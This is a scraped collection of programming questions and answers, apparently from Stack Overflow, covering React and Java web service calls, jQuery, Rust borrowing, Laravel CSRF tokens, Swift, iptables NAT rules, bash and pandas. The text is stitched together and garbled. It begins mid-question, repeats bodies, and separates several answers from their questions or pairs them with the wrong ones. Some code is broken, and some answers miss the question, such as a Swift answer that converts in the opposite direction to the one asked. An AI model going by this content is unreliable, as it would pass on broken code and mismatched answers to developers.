I know one issue in making direct call to web service will be cross domain policy which can be handle by setting configuration in Java server.

Apart from it what should be better approach.

答:
From my experience it ended up better using direct calls from UI application and avoiding intermediate server.

Reason for doing this directly is that our servers ended up with a lot of restrictions based on IP addresses, and all requests have been coming from intermediate server (nodeJS server), so DDOS protection of end server had to have some exceptions (our node server which could be on ACS with dynamic IP addresses so it might be hard to manage).

Also If you want to pass and track end users IP addresses, you need to manage headers on Node server (to be sure you are passing it as it was in original request).

It is way simpler to manage this kind of situation if calls are comming from React app and simply set up CORS on java server.

Also its way easier to debug it on UI app directly, so you will be watching response logs on one place only. Other way around you could end up debugging your node server and UI app.

Hope this helps a bit.


问:
Uncaught TypeError: $this.text is not a function
The second statement in this code:

```<code>var $this = $(this).children('div.submenu1').children('a.subtile')[0],
title = $this.text(),
name = $this.attr('node').val;
</code>```

produces this error:

```<code>Uncaught TypeError: $this.text is not a function
</code>```

When I hover over $this.text() in Chrome debugger I can see the value I want to have in title.

How can I fix this error?

答: As this is was the first result, for me, when I Googled this, I will post my issue/solution. I had written Text() rather than text(). i.e My capitalisation was wrong. </p>

Body:
The second statement in this code:

var $this = $(this).children('div.submenu1').children('a.subtile')[0],
title = $this.text(),
name = $this.attr('node').val;

produces this error:

Uncaught TypeError: $this.text is not a function

When I hover over $this.text() in Chrome debugger I can see the value I want to have in title.

How can I fix this error?


问:
Dynamically setting CSS values using ASP.NET
I'm working on a site where the images and other resources will be located on a separate domain from the main content of the site. We will use something like 'www.example.com' for the main site, and then 'images.example.com' for all extra resources for styles, etc.

When developing the site I will keep all of these resources on local dev. machines. The challenge here is keeping CSS references consistent between the production server and development environments.

What I was thinking of doing was creating a web.config key that would store the URL of the images server. Then, when switching from development to production I could just change the web.config value and everything would be done.

Is there any way to add a value to a CSS file, dynamically or otherwise, from some place in a config or C# class? Or am I going about this the wrong way?

Also, I'm limited to using .NET 2.0 if that makes a difference.

UPDATE

To expand on this a little more, I know I can use a web.config setting for server controls' URLs. Those are already generated dynamically. What I'm more interested in is what options I have for modifying (or doing "something") to static CSS files that will allow me to change URLs for things such as background image resources that would be referenced in CSS. Is there anything I can do besides find/replacing the values using my IDE? Perhaps something that can be done automatically with a deployment script?

答:
This is a common problem.  What we do is have seperate web.config files for each environment.  There is a appSettings key in the web.config and any config values go there like this.

```<code><appSettings>
<add key="ImagePath" value="d:\websites\www.site.com\www\images\" />
<appSettings>
</code>```

When setting the image control in the code behind, use the following:

```<code>myImage.ImageUrl = + _
</code>```

System.Configuration.ConfigurationSettings.AppSettings("ImagePath") +  "image1234567890.jpg"

Just change your ImagePath key to correspond with the path on the production or qa servers.  Also, you could make the test server have the same path, but in my experience this solution works.

OwnerDisplayName: DanHerbert

LastEditorDisplayName: DanHerbert

Body:
This is a common problem.  What we do is have seperate web.config files for each environment.  There is a appSettings key in the web.config and any config values go there like this.

<appSettings>
<add key="ImagePath" value="d:\websites\www.site.com\www\images\" />
<appSettings>

When setting the image control in the code behind, use the following:

myImage.ImageUrl = + _

System.Configuration.ConfigurationSettings.AppSettings("ImagePath") +  "image1234567890.jpg"

Just change your ImagePath key to correspond with the path on the production or qa servers.  Also, you could make the test server have the same path, but in my experience this solution works.

OwnerDisplayName: Mike


答:
I did something similar for another person, where I the table row had to be highlighted in the case of value in a cell being <=5. Please see if this helps you: https://codepen.io/nitinsuri/pen/WoqLzX</p>

```<code>$(document).ready(function(){
  $("table#book-list").find("td").each(function(){
    var quantity = parseInt($.trim($(this).text()));
    if(quantity <= 5){
      $(this).parent("tr").addClass("low-quantity");
    }
  });
});
</code>```

Title: javascript if a html element text equal with 0, addClass to an element

Body:
I did something similar for another person, where I the table row had to be highlighted in the case of value in a cell being <=5. Please see if this helps you: https://codepen.io/nitinsuri/pen/WoqLzX

$(document).ready(function(){
  $("table#book-list").find("td").each(function(){
    var quantity = parseInt($.trim($(this).text()));
    if(quantity <= 5){
      $(this).parent("tr").addClass("low-quantity");
    }
  });
});


问:
Image Edge Detection: Comparing extracted edge data of two images for CBIR
I am fairly new in image processing. For making a Content Based Image Retrieval(CBIR) system i have to match image feature information of the query image with that of the images in the image database to find images from the database that are same or similar to the query image. I have selected Sobel Edge Detection as feature for now.

I can extract edge information from a subject image in the form of an edge-image by Sobel edge detection algorithm. The result is a black picture with white pixels representing edges of the original image. (These descriptions might seem very basic and unnecessary but I want to clarify exactly what amount of data I have in hand)

I have to compare this edge information of two images to find out how similar/dissimilar they are. Actually I need to compare the query image with all the images of the database in this manner to find similar images and how similar they are to the query image. I need a numeric measurement to tell the distance between two images after comparison (like manhattan distance/chi square distance etc).

So, after extracting the edge detection by applying the Sobel Operator, how should I 'compare' two edge images? Should I make a histogram from the edge image and calculate difference between the two histograms? Or should follow some other method?

I need suggestion. Every paper I find online describes the same thing again and again, what is edge detection and how to do it. I can't find any useful exact suggestion on what I should do after I detect the edges to use in a CBIR system. And also, any software/language specific answer is not going to be useful for me. I need an algorithm and I will implement it myself.

答: On your images first apply contorlet transform and extract the mean and variance values which becomes the edge features of your image then on these edge features you apply any similarity check test, best one is the Euclidean distance metric.</p>


答:
Best way IMO is to create a router in Node js specifically for all your Java webservices and act as a proxy.

Suppose if your url pattern is like http://domain/java-ws/api then all these requests will be routed to your Java service.

If you have an Apache server directing requests to your node JS then configure url pattern proxy using proxy module.

Browsers are blocking CORS requests for a reason. You may get away by setting things on your server.

Title: Making request from client application (ReactJs+NodeJs) to Java web service

Body:
I have separate application for client side which is in ReactJs and NodeJS (Express server) and Web Services in Java application running in tomcat.

My query is which is better approach in terms of making web service call.

One is making direct web service call from ReactJS and get the data.

Other one is calling web service in Express server. Request from client browser will go to Express and Express will make all web services call.

I know one issue in making direct call to web service will be cross domain policy which can be handle by setting configuration in Java server.

Apart from it what should be better approach.


问:
Why does function calling order affect borrows?
Why do I need to force a scope of the borrows in this case? Without it, k.keep("X") will cause a compilation error.

```<code>mod keep {
    use std::collections::hash_map::Entry::{Occupied, Vacant};
    use std::collections::HashMap;
    use std::hash::Hash;

    pub struct Keeper<T> {
        index:  Vec<T>,
        kept:   HashMap<T, usize>
    }
    impl<T> Keeper<T> {
        pub fn new() -> Keeper<T> where T: Eq + Hash {
            Keeper { index: Vec::new(), kept: HashMap::new() }
        }
        pub fn keep(&mut self, keepsake: T) -> usize where T: Eq + Hash + Copy {
            match self.kept.entry(keepsake) {
                Occupied(_)   => (),
                Vacant(entry) => {
                    entry.insert(self.index.len());
                    self.index.push(keepsake);
                }
            }
            *self.kept.get(&keepsake).unwrap()
        }
        pub fn find(&self, i:usize) -> &T {
            &self.index[i]
        }
    }
}
fn main() {
    let mut k: keep::Keeper<&str> = keep::Keeper::new();
    { // forced borrow scoping
        let (k1, k2, k3) = (k.keep("A"), k.keep("A"), k.keep("B"));
        println!("{}@[{:p}], {}@[{:p}], {}@[{:p}]", k1, &k1, k2, &k2, k3, &k3);
        let (s1, s2, s3) = (k.find(k1), k.find(k2), k.find(k3));
        println!("{}@[{:p}], {}@[{:p}], {}@[{:p}]", s1, s1, s2, s2, s3, s3);
    }
    let k4 = k.keep("X");
}
</code>```

There is a playground.

答:
This is a pretty straightforward case; in the following binding:

```<code>let (s1, s2, s3) = (k.find(k1), k.find(k2), k.find(k3));
</code>```

You immutably borrow k 3 times (you can have multiple immutable borrows), so as long as s1, s2 and s3 are in the scope, you can not mutably borrow k.

By introducing your own scope you made s1, s2 and s3 release their borrows by the end of their block.

Body:
Why do I need to force a scope of the borrows in this case? Without it, k.keep("X") will cause a compilation error.

mod keep {
    use std::collections::hash_map::Entry::{Occupied, Vacant};
    use std::collections::HashMap;
    use std::hash::Hash;

    pub struct Keeper<T> {
        index:  Vec<T>,
        kept:   HashMap<T, usize>
    }
    impl<T> Keeper<T> {
        pub fn new() -> Keeper<T> where T: Eq + Hash {
            Keeper { index: Vec::new(), kept: HashMap::new() }
        }
        pub fn keep(&mut self, keepsake: T) -> usize where T: Eq + Hash + Copy {
            match self.kept.entry(keepsake) {
                Occupied(_)   => (),
                Vacant(entry) => {
                    entry.insert(self.index.len());
                    self.index.push(keepsake);
                }
            }
            *self.kept.get(&keepsake).unwrap()
        }
        pub fn find(&self, i:usize) -> &T {
            &self.index[i]
        }
    }
}
fn main() {
    let mut k: keep::Keeper<&str> = keep::Keeper::new();
    { // forced borrow scoping
        let (k1, k2, k3) = (k.keep("A"), k.keep("A"), k.keep("B"));
        println!("{}@[{:p}], {}@[{:p}], {}@[{:p}]", k1, &k1, k2, &k2, k3, &k3);
        let (s1, s2, s3) = (k.find(k1), k.find(k2), k.find(k3));
        println!("{}@[{:p}], {}@[{:p}], {}@[{:p}]", s1, s1, s2, s2, s3, s3);
    }
    let k4 = k.keep("X");
}

There is a playground.

Body:
This is a pretty straightforward case; in the following binding:

let (s1, s2, s3) = (k.find(k1), k.find(k2), k.find(k3));

You immutably borrow k 3 times (you can have multiple immutable borrows), so as long as s1, s2 and s3 are in the scope, you can not mutably borrow k.

By introducing your own scope you made s1, s2 and s3 release their borrows by the end of their block.


问:
Convert a key string to a SecretKeys object in tozny/java-aes-crypto
I'm using java-aes-crypto for encrypting strings in android. After generating key using this code

```<code>AesCbcWithIntegrity.SecretKeys keys = AesCbcWithIntegrity.generateKey();
</code>```

and I'm saving it as String(.toString()) in a file and after that I'm trying to retrieve it from that file and convert it to the same object. How can I do that?

答:
On going through the link,one can see that you need to use the following code to convert the encrypted String into the desired one.

```<code> //Use the constructor to re-create the CipherTextIvMac class from the string:
  CipherTextIvMac cipherTextIvMac = new CipherTextIvMac (cipherTextString);
  String plainText = AesCbcWithIntegrity.decryptString(cipherTextIvMac, **keys**);
</code>```

The keys is the same key that was used while encryption.
As you can see, you need to store the key to decrypt it. The link also provides the precaution to store the key

Once you've generated a random key, you naturally might want to store
  it. This may work for some use cases, but please be aware that if you
  store the key in the same place that you store the encrypted data,
  your solution is not cryptographically sound since the attacker can
  just get both the key and the encrypted text. Instead, you should use
  either the Keystore infrastructure or consider generating the key from
  a passphrase and using that to encrypt the user data.

If despite the above you still want to store the key, you can convert
  the keys to a string using the included functions and store them in
  preferences or SQLite.

Body:
I'm using java-aes-crypto for encrypting strings in android. After generating key using this code

AesCbcWithIntegrity.SecretKeys keys = AesCbcWithIntegrity.generateKey();

and I'm saving it as String(.toString()) in a file and after that I'm trying to retrieve it from that file and convert it to the same object. How can I do that?

Body:
On going through the link,one can see that you need to use the following code to convert the encrypted String into the desired one.

 //Use the constructor to re-create the CipherTextIvMac class from the string:
  CipherTextIvMac cipherTextIvMac = new CipherTextIvMac (cipherTextString);
  String plainText = AesCbcWithIntegrity.decryptString(cipherTextIvMac, **keys**);

The keys is the same key that was used while encryption.
As you can see, you need to store the key to decrypt it. The link also provides the precaution to store the key

Once you've generated a random key, you naturally might want to store
  it. This may work for some use cases, but please be aware that if you
  store the key in the same place that you store the encrypted data,
  your solution is not cryptographically sound since the attacker can
  just get both the key and the encrypted text. Instead, you should use
  either the Keystore infrastructure or consider generating the key from
  a passphrase and using that to encrypt the user data.

If despite the above you still want to store the key, you can convert
  the keys to a string using the included functions and store them in
  preferences or SQLite.


问:
React, Redux and Axios - trying to make API call
It's my first experience with React, Redux and I am totally lost. The problem is my action :

```<code>import axios from 'axios';
import { FETCH_MOVIE } from '../constants/actionTypes';
const API_KEY = <API_KEY>;
const ROOT_URL = `<API_URL>`;

export function fetchMovies(pop){

  const url = `${ROOT_URL}?api_key=${API_KEY}&sort_by=${pop}`;
  axios.get(url)
  .then(function (response) {
    console.log("response is",response)
  })
  .catch(function (error) {
    console.log(error);
  });

  return{
    type:  FETCH_MOVIE,
    payload: response.data
  };
}
</code>```

On Console.log it seems just fine - I can see the response has the data I need. But when I am trying to send response.data to payload it returns the error -  response is not defined. What am I doing wrong?

P.s. I also tried to create  const result = [] and than result = [...response.data]. The error was - SyntaxError: "result" is read-only

答:
You can use redux promise middleware. I have used this in my new project. It is very simple and keeps our code and state manageable.

For every async action dispatch, it dispatches

$action_type_PENDING immediately after our action dispatch , $action_type_FULFILLED if api call success, $action_type_REJECTED if api call failure

See documentation- https://github.com/pburtchaell/redux-promise-middleware

Example from my project-

your action is

```<code>export function getQuestions() {
    return {
        type: types.GET_QUESTIONS,
        payload: axios.get('http://localhost:3001/questions')
    };
}
</code>```

reducer is

```<code>const initialState = {
    isLoading: false,
    questions: []
};

const questions = (state = initialState.questions, action) => {
    switch(action.type) {
        case types.GET_QUESTIONS_FULFILLED:
            return [...action.payload.data];

        default: return state;
    }
};
</code>```

For displaying loader while api call we can use following reducer

```<code>const isLoading = (state = initialState.isLoading, action) => {
    switch(action.type) {
        case (action.type.match(/_PENDING/) || {}).input:
            return true;

        case (action.type.match(/_FULFILLED/) || {}).input:
            return false;

        default: return state;
    }
};
</code>```

Comment me if you need any more details on above stuff.

Body:
It's my first experience with React, Redux and I am totally lost. The problem is my action :

import axios from 'axios';
import { FETCH_MOVIE } from '../constants/actionTypes';
const API_KEY = <API_KEY>;
const ROOT_URL = `<API_URL>`;

export function fetchMovies(pop){

  const url = `${ROOT_URL}?api_key=${API_KEY}&sort_by=${pop}`;
  axios.get(url)
  .then(function (response) {
    console.log("response is",response)
  })
  .catch(function (error) {
    console.log(error);
  });

  return{
    type:  FETCH_MOVIE,
    payload: response.data
  };
}

On Console.log it seems just fine - I can see the response has the data I need. But when I am trying to send response.data to payload it returns the error -  response is not defined. What am I doing wrong?

P.s. I also tried to create  const result = [] and than result = [...response.data]. The error was - SyntaxError: "result" is read-only

Body:
You can use redux promise middleware. I have used this in my new project. It is very simple and keeps our code and state manageable.

For every async action dispatch, it dispatches

$action_type_PENDING immediately after our action dispatch , $action_type_FULFILLED if api call success, $action_type_REJECTED if api call failure

See documentation- https://github.com/pburtchaell/redux-promise-middleware

Example from my project-

your action is

export function getQuestions() {
    return {
        type: types.GET_QUESTIONS,
        payload: axios.get('http://localhost:3001/questions')
    };
}

reducer is

const initialState = {
    isLoading: false,
    questions: []
};

const questions = (state = initialState.questions, action) => {
    switch(action.type) {
        case types.GET_QUESTIONS_FULFILLED:
            return [...action.payload.data];

        default: return state;
    }
};

For displaying loader while api call we can use following reducer

const isLoading = (state = initialState.isLoading, action) => {
    switch(action.type) {
        case (action.type.match(/_PENDING/) || {}).input:
            return true;

        case (action.type.match(/_FULFILLED/) || {}).input:
            return false;

        default: return state;
    }
};

Comment me if you need any more details on above stuff.


问:
Is there a way to create creeping line without flickering?
I've tried javascript (w. jQuery), flash, canvas, but i cannot get rid of flickering, even on fast browsers (Chrome).

Javascript example

Most of time it does go smooth, but if you'll watch it for a while you'll see that it lags periodically. Seems strange that it's too hard for browser to render an animated line of text.

答:
```<code>  <marquee scrolldelay="5" scrollamount="50">
   This is a very fast scrolling text. Try me</marquee>
</code>```


问:
Laravel TokenMismatchException caused in routes/web.php
I am learning Routing in Laravel 5.4 by viewing a tutorial created by DevDojo. Using the following codes in routes/web.php will emerge the TokenMismatchException error and my code does not work after I press the submit button:

```<code>Route::post('test', function () {
    return 'Printed by the route responsible for test post action.';
});

Route::get('test', function () {
    echo '<form method="post" action="test">';
    echo '<input type="submit">';
    echo '</form>';
});
</code>```

I searched this same forum here and also the other places on the net like laravel.io or laracasts.com and everyone is talking about problems that occur when Laravel tries to detect the session of the request that is getting made.

I tried to fix the problem by adding the following lines to the Route::get rules but the issue does not get fixed:

```<code>echo '<input type="hidden" name="_method" value="post">';
echo '<input type="hidden" name="_token" value="csrf_field();">';
</code>```

I hope you help me fix it by telling me how to properly use csrf_field(), csrf_token() or anything else needed here in the route file.

Thank you very much in advance.

答:
I think you're on the right track with the hidden inputs (if you've got a fresh Laravel install, otherwise make sure checking the token isn't disabled);

I recommend you use the (official) Form Builder for Laravel to handle forms (have a look here).

Afterwards, have a look here:

(1)

{{ Form::open(array('url' => 'profile')) }}
 your form stuff goes here

{{ Form::close() }}

(2) Make sure to have this to output the token: echo Form::token(); (before you close the form)

(3) And finally, have a POST Route registered, that checks the token:

Route::post('profile', array('before' => 'csrf', function()
{
    //
}));

Alternatively, you can specify form action directly to the function (my personal favorite):

echo Form::open(array('action' => 'Controller@method'))

Body:
I am learning Routing in Laravel 5.4 by viewing a tutorial created by DevDojo. Using the following codes in routes/web.php will emerge the TokenMismatchException error and my code does not work after I press the submit button:

Route::post('test', function () {
    return 'Printed by the route responsible for test post action.';
});

Route::get('test', function () {
    echo '<form method="post" action="test">';
    echo '<input type="submit">';
    echo '</form>';
});

I searched this same forum here and also the other places on the net like laravel.io or laracasts.com and everyone is talking about problems that occur when Laravel tries to detect the session of the request that is getting made.

I tried to fix the problem by adding the following lines to the Route::get rules but the issue does not get fixed:

echo '<input type="hidden" name="_method" value="post">';
echo '<input type="hidden" name="_token" value="csrf_field();">';

I hope you help me fix it by telling me how to properly use csrf_field(), csrf_token() or anything else needed here in the route file.

Thank you very much in advance.


问:
NSAttributedString to HTML in iOS Swift 3
I have searched a lot but can only find HTML to plain text, not the other way around, I have email implementation in my app, thus need to send the content of email as HTML to the backend.

Edit 1: I have rich text that includes bold, italic, ordered/unordered list, underlined words.

答:
According to this post:</p>

```<code>private func getHtmlLabel(text: String) -> UILabel {
    let label = UILabel()
    label.numberOfLines = 0
    label.lineBreakMode = .byWordWrapping
    label.attributedString = stringFromHtml(string: text)
    return label
}

private func stringFromHtml(string: String) -> NSAttributedString? {
    do {
        let data = string.data(using: String.Encoding.utf8, allowLossyConversion: true)
        if let d = data {
            let str = try NSAttributedString(data: d,
                                             options: [NSDocumentTypeDocumentAttribute: NSHTMLTextDocumentType],
                                             documentAttributes: nil)
            return str
        }
    } catch { }
    return nil
}
</code>```

Body:
According to this post:

private func getHtmlLabel(text: String) -> UILabel {
    let label = UILabel()
    label.numberOfLines = 0
    label.lineBreakMode = .byWordWrapping
    label.attributedString = stringFromHtml(string: text)
    return label
}

private func stringFromHtml(string: String) -> NSAttributedString? {
    do {
        let data = string.data(using: String.Encoding.utf8, allowLossyConversion: true)
        if let d = data {
            let str = try NSAttributedString(data: d,
                                             options: [NSDocumentTypeDocumentAttribute: NSHTMLTextDocumentType],
                                             documentAttributes: nil)
            return str
        }
    } catch { }
    return nil
}


问:
Although i have the right informations there is a thread 1 : Signal brt
I have created a login screen for my app and i have chosen a username and password. When i write the wrong infos it works but the right informations don't work please help.Here is my login button.</p>

```<code> @IBAction func loginButton(_ sender: UIButton) {

    if  userTf.text == "bartu" && passTf.text == "1" {
        let myVC = storyboard?.instantiateViewController(withIdentifier: "Tab")
        navigationController?.pushViewController(myVC!, animated: true)

    }

    else {
        errorLabel.text = "Informations are wrong!"
    }

    }

}
</code>```

答:
You need to connect the two view controllers with a segue, set segue type as push, and then set an identifier for it.

When you want to push to the destination view controller, simply perform this segue by calling

```<code>self.performSegue(withIdentifier: "yourIdentifier", sender: nil)
</code>```

Body:
I have created a login screen for my app and i have chosen a username and password. When i write the wrong infos it works but the right informations don't work please help.Here is my login button.

 @IBAction func loginButton(_ sender: UIButton) {

    if  userTf.text == "bartu" && passTf.text == "1" {
        let myVC = storyboard?.instantiateViewController(withIdentifier: "Tab")
        navigationController?.pushViewController(myVC!, animated: true)

    }

    else {
        errorLabel.text = "Informations are wrong!"
    }

    }

}

Body:
You need to connect the two view controllers with a segue, set segue type as push, and then set an identifier for it.

When you want to push to the destination view controller, simply perform this segue by calling

self.performSegue(withIdentifier: "yourIdentifier", sender: nil)


答:
Minimal reproduction:

```<code>struct Foo {
    something: i32,
}

impl Foo {
    fn give_something(&self) -> &i32 {
        &self.something
    }
    fn bar(&mut self) {}
}

fn main() {
    let mut foo = Foo{ something: 42, };
    // In the following line, you borrow self.something with thing,
    // therefore, foo is borrowed too:
    let thing = foo.give_something();
    // Then you cannot mutably borrow foo since it is already borrowed:
    foo.bar();
}
</code>```

All is in the explanation of the compiler:

cannot borrow foo as mutable because it is also borrowed as immutable

You can either have one mutable reference on a thing, either have multiple immutable reference, not both.

Now see in your code: you borrow first k as immutable:

```<code>let (s1, s2, s3) = (k.find(k1), k.find(k2), k.find(k3));
</code>```

And then you ask to borrow it as mutable:

```<code>let k4 = k.keep("X");
</code>```

Title: Why does function calling order affect borrows?

Body:
Minimal reproduction:

struct Foo {
    something: i32,
}

impl Foo {
    fn give_something(&self) -> &i32 {
        &self.something
    }
    fn bar(&mut self) {}
}

fn main() {
    let mut foo = Foo{ something: 42, };
    // In the following line, you borrow self.something with thing,
    // therefore, foo is borrowed too:
    let thing = foo.give_something();
    // Then you cannot mutably borrow foo since it is already borrowed:
    foo.bar();
}

All is in the explanation of the compiler:

cannot borrow foo as mutable because it is also borrowed as immutable

You can either have one mutable reference on a thing, either have multiple immutable reference, not both.

Now see in your code: you borrow first k as immutable:

let (s1, s2, s3) = (k.find(k1), k.find(k2), k.find(k3));

And then you ask to borrow it as mutable:

let k4 = k.keep("X");


问:
Matching Google Cloud Storage ID to a user email address
I'm looking for a way to determine who uploaded a file to a Cloud Storage bucket. All of the users with access to write to the bucket are authenticated users in the same G Suite domain.

The object ACL in Cloud Storage shows an owner identifier string which looks like the following:

```<code>{
  "entity": "user-84fac329bceSAMPLE777d5d22b8SAMPLE77d85ac2SAMPLE2dfcf7c4adf34da46",
  "entityId": "84fac329bceSAMPLE777d5d22b8SAMPLE77d85ac2SAMPLE2dfcf7c4adf34da46",
  "role": "OWNER"
}
</code>```

However, it does not appear that there is an easy way to map this ID back to a user's email address (or to determine the Cloud Storage ID for a user whose email I know, except by using that user account to upload a file and querying the object ACL).

Is this true? Or am I just not seeing the way to do this?

Thank you for the help!

答:
Try getting the ACLs again. I just tried today 07/05/2017 and the returned ACLs included email address. It would appear Google has updated the API, replacing the old Google Cloud Storage ID with the user's email address.</p>

```<code>{
  "email": "email@domain.com",
  "entity": "user-email@domain.com",
  "role": "OWNER"
}
</code>```

Body:
I'm looking for a way to determine who uploaded a file to a Cloud Storage bucket. All of the users with access to write to the bucket are authenticated users in the same G Suite domain.

The object ACL in Cloud Storage shows an owner identifier string which looks like the following:

{
  "entity": "user-84fac329bceSAMPLE777d5d22b8SAMPLE77d85ac2SAMPLE2dfcf7c4adf34da46",
  "entityId": "84fac329bceSAMPLE777d5d22b8SAMPLE77d85ac2SAMPLE2dfcf7c4adf34da46",
  "role": "OWNER"
}

However, it does not appear that there is an easy way to map this ID back to a user's email address (or to determine the Cloud Storage ID for a user whose email I know, except by using that user account to upload a file and querying the object ACL).

Is this true? Or am I just not seeing the way to do this?

Thank you for the help!

Body:
Try getting the ACLs again. I just tried today 07/05/2017 and the returned ACLs included email address. It would appear Google has updated the API, replacing the old Google Cloud Storage ID with the user's email address.

{
  "email": "email@domain.com",
  "entity": "user-email@domain.com",
  "role": "OWNER"
}


问:
How do I disable a jquery-ui draggable?
How do I disable a jQuery draggable, e.g. during an UpdatePanel postback?</p>

答:
Change draggable attribute from

```<code><span draggable="true">Label</span>
</code>```

to

```<code><span draggable="false">Label</span>
</code>```

Title: How do I disable a jquery-ui draggable?

Body:
Change draggable attribute from

<span draggable="true">Label</span>

to

<span draggable="false">Label</span>


问:
Name Error: name 'get_ipython' is not defined
I'm trying to run the following few lines with ipython (3.5 version):

```<code>import sys
from init_mooc_nb import *
init_notebook()
</code>```

I would like some help to figure out what is the error (see below).

Thank you in advance.

Complete Error

答: It is possible that this is part of an ipython notebook and needs to be run in ipython notebook... (use e.g.  jupyter notebookor ipython -notebook from command line to start it...)

Body:
I'm trying to run the following few lines with ipython (3.5 version):

import sys
from init_mooc_nb import *
init_notebook()

I would like some help to figure out what is the error (see below).

Thank you in advance.

Complete Error


问:
SSL installed on Apache2 but HTTPS not working
I recently installed an SSL certificate on my Amazon EC2 Ubuntu 12.04(32bit) server running Apache 2.

When I attempt to access my site via https, it does not load. When I perform an nmap scan, i see that port 443 is not open.

I tried to open port 443 in my ip tables to no avail. iptables -L yeilds

```<code>Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:https
</code>```

Here's how I installed ssl

I modified /etc/init.d/apache2.conf to include ssl.conf and modified ssl.conf to include the requisite
paths of my certificate files, ie

SSLCertificateFile /path/file
SSLCertificateKeyFile /path/file
SSLCertificateChainFile /path/file

I configured my security group to allow inbound requests from port 443 (TCP source:0.0.0.0/0)

When I perform the following test with php

```<code>if (!extension_loaded('openssl'))
{
  echo "not loaded";
}
else
{
  echo "loaded"   ;
}
</code>```

I get "loaded".

Any ideas?

答:
I just ran into a situation where there was a process listening on port 443, the firewall was completely open, SELinux was disabled, and I still couldn't telnet to port 443. Not even from the localhost. I kept getting:

```<code>telnet 127.0.0.1 443
telnet: connect to address 127.0.0.1: Connection refused`
</code>```

It turns out the iptables NAT table had some rules redirect traffic coming in on port 443 to a different port (8443). Nothing was listening on port 8443.

```<code># iptables --table nat --list
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
REDIRECT   tcp  --  anywhere             anywhere            tcp dpt:https redir ports 8443
</code>```

Removing the relevant NAT entries fixed the problem for me.

Body:
I recently installed an SSL certificate on my Amazon EC2 Ubuntu 12.04(32bit) server running Apache 2.

When I attempt to access my site via https, it does not load. When I perform an nmap scan, i see that port 443 is not open.

I tried to open port 443 in my ip tables to no avail. iptables -L yeilds

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:https

Here's how I installed ssl

I modified /etc/init.d/apache2.conf to include ssl.conf and modified ssl.conf to include the requisite
paths of my certificate files, ie

SSLCertificateFile /path/file
SSLCertificateKeyFile /path/file
SSLCertificateChainFile /path/file

I configured my security group to allow inbound requests from port 443 (TCP source:0.0.0.0/0)

When I perform the following test with php

if (!extension_loaded('openssl'))
{
  echo "not loaded";
}
else
{
  echo "loaded"   ;
}

I get "loaded".

Any ideas?

Body:
I just ran into a situation where there was a process listening on port 443, the firewall was completely open, SELinux was disabled, and I still couldn't telnet to port 443. Not even from the localhost. I kept getting:

telnet 127.0.0.1 443
telnet: connect to address 127.0.0.1: Connection refused`

It turns out the iptables NAT table had some rules redirect traffic coming in on port 443 to a different port (8443). Nothing was listening on port 8443.

# iptables --table nat --list
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
REDIRECT   tcp  --  anywhere             anywhere            tcp dpt:https redir ports 8443

Removing the relevant NAT entries fixed the problem for me.


问:
bash what is the test attribute for hidden directories and files
In bash script, to test if a directory entry is a folder, we use -d ,

```<code>shopt -s dotglob nullglob # to include hidden fille
for entry in *
if [ -d "$entry" ]; then # regular directory, not hidden ones...
</code>```

To test for file, -f

```<code>if [ -f "$entry" ]; then # regular file, not hidden ones...
</code>```

What attribute for hidden directory? ,  and hidden file?

答:
Here is a way to list hidden directories in the current directory using glob:

```<code>shopt -s dotglob nullglob

for entry in */; do
    [[ $entry = .* ]] && echo "$entry"
done
</code>```

Glob */ finds all directories in current current directory

Glob .* matches all directory names that start with a dot

Body:
In bash script, to test if a directory entry is a folder, we use -d ,

shopt -s dotglob nullglob # to include hidden fille
for entry in *
if [ -d "$entry" ]; then # regular directory, not hidden ones...

To test for file, -f

if [ -f "$entry" ]; then # regular file, not hidden ones...

What attribute for hidden directory? ,  and hidden file?

Body:
Here is a way to list hidden directories in the current directory using glob:

shopt -s dotglob nullglob

for entry in */; do
    [[ $entry = .* ]] && echo "$entry"
done

Glob */ finds all directories in current current directory

Glob .* matches all directory names that start with a dot


问:
How to correctly perform all-VS-all row-by-row comparisons between series in two pandas dataframes?
I have two pandas dataframes, df1 and df2. Both contain time series data.

df1

```<code>Event   Number  Timestamp_A
A       1       7:00
A       2       8:00
A       3       9:00
</code>```

df2

```<code>Event   Number  Timestamp_B
B       1       9:01
B       2       8:01
B       3       7:01
</code>```

Basically, I want to determine the Event B which is closest to Event A, and assign this correctly.

Therefore, I need to substract (1) every Timestamp_B in df2 from ever Timestamp_A in df1, row by row. This results in a series of values, of which I want to take the minumum and put it to a new column in df1.

```<code>Event   Number  Timestamp_A Closest_Timestamp_B
A       1       7:00        7:01
A       2       8:00        8:01
A       3       9:00        9:01
</code>```

I am not familiar with row-by-row operations in pandas.
When I am doing:

```<code>for index, row in df1.iterrows():
    s = df1.Timestamp_A.values - df2["Timestamp_B"][:]
    Closest_Timestamp_B = s.min()
</code>```

The result I get is a ValueError:

```<code>ValueError: operands could not be broadcast together with shapes(3,) (4,)
</code>```

How to correctly perform row-by-row comparisons between two pandas dataframes?

答:
There might be a better way to do this but here is one way:</p>

```<code>import pandas as pd
import numpy as np
df1 = pd.DataFrame({'Event':['A','A','A'],'Number':[1,2,3],
                   'Timestamp_A':['7:00','8:00','9:00']})
df2 = pd.DataFrame({'Event':['B','B','B'],'Number':[1,2,3],
                   'Timestamp_B':['7:01','8:01','9:01']})
df1['Closest_timestamp_B'] = np.zeros(len(df1.index))
for index, row in df1.iterrows():
    df1['Closest_timestamp_B'].iloc[index] = df2.Timestamp_B.loc[np.argmin(np.abs(pd.to_datetime(df2.Timestamp_B) -pd.to_datetime(row.Timestamp_A)))]

df1
Event   Number  Timestamp_A Closest_timestamp_B
0   A   1   7:00    7:01
1   A   2   8:00    8:01
2   A   3   9:00    9:01
</code>```

Body:
I have two pandas dataframes, df1 and df2. Both contain time series data.

df1

Event   Number  Timestamp_A
A       1       7:00
A       2       8:00
A       3       9:00

df2

Event   Number  Timestamp_B
B       1       9:01
B       2       8:01
B       3       7:01

Basically, I want to determine the Event B which is closest to Event A, and assign this correctly.

Therefore, I need to substract (1) every Timestamp_B in df2 from ever Timestamp_A in df1, row by row. This results in a series of values, of which I want to take the minumum and put it to a new column in df1.

Event   Number  Timestamp_A Closest_Timestamp_B
A       1       7:00        7:01
A       2       8:00        8:01
A       3       9:00        9:01

I am not familiar with row-by-row operations in pandas.
When I am doing:

for index, row in df1.iterrows():
